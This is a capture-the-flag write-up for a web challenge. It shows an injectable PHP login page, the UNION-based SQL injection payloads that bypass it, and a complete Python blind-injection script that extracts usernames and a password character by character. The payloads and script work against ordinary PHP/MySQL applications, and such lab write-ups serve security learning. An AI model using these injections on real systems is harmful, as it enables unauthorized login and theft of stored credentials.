In this challenge, we are presented with a simple login page and its source code, which is easily injectable:
...
<?php
if (isset($_POST['login'])) {
$login = $_POST['login'];
$password = $_POST['password'];
$res = mysql_query("SELECT * FROM users WHERE login = '$login' AND password = '$password'");
if (mysql_num_rows($res) == 0) {
?>
<div class="bg-danger col-lg-12" style="margin-bottom: 30px">
Incorrect username or password! Please check and try once again.
</div>
<?php
} else {
$row = mysql_fetch_assoc($res);
$_SESSION['uid'] = $row['uid'];
ob_end_clean();
header("Location: /", true, 302);
exit;
}
}
?>
...
Entering ' UNION SELECT 1,1,1#
in the Username field will log us in as admin
, the first 1
being taken as the uid:
And ' UNION SELECT 2,1,1#
will log us in as jproper
:
We can use this to perform a blind SQL injection like this, getting our data letter by letter:
import requests
def is_gte(query, pos, i):
payload = {'login': "' union select (select if ((select ascii(substring((%s),%d,1))) >= %d,1,2)),1,1#" % (query, pos, i)}
while True:
try:
r = requests.post("http://hackyou-web200.ctf.su/", data=payload)
return ('admin' in r.text)
except:
pass
def get_char(query, pos):
# will return '\x00' if pos is out of bounds
i = 127//2
min_i = 0
max_i = 127
while True:
if is_gte(query, pos+1, i):
if min_i == i:
return chr(i)
min_i = i
i += ((max_i-i) // 2)
else:
if max_i == i:
return chr(i-1)
max_i = i
i -= ((i-min_i) // 2)
def fetch(query, start=0):
out = ''
i = start
while True:
c = get_char(query, i)
if c == '\x00':
return out
out += c
i += 1
So let’s see first if there are any other tables in the database:
...
print fetch("select count(*) from information_schema.tables where table_schema != 'mysql' and table_schema != 'information_schema'")
(ctf)tr@karabut.com:~/work/hackyouctf16/web200$ python fetch.py
1
Seems like there’s none. Let’s count the rows in users
then and print the usernames out (of course we could also do this simply by trying to log in with different uid values, but in theory a uid could easily be a random nonconsecutive integer):
...
num_rows = int(fetch("select count(*) from users"))
print num_rows
for i in range(num_rows):
print fetch("select uid from users limit %d,1" % i)
print fetch("select login from users limit %d,1" % i)
(ctf)tr@karabut.com:~/work/hackyouctf16/web200$ python fetch.py
10
1
admin
2
jproper
3
tommy
4
korror
5
g.Valency
6
flag
7
dwFWzvfL
8
briminaev
9
the_seeker
10
loveb64
Hmm, I wonder what does the flag
user’s password look like?
...
print fetch("select password from users where login='flag'")
(ctf)tr@karabut.com:~/work/hackyouctf16/web200$ python fetch.py
flazh0k_n4_w3b_dv3sti
Score!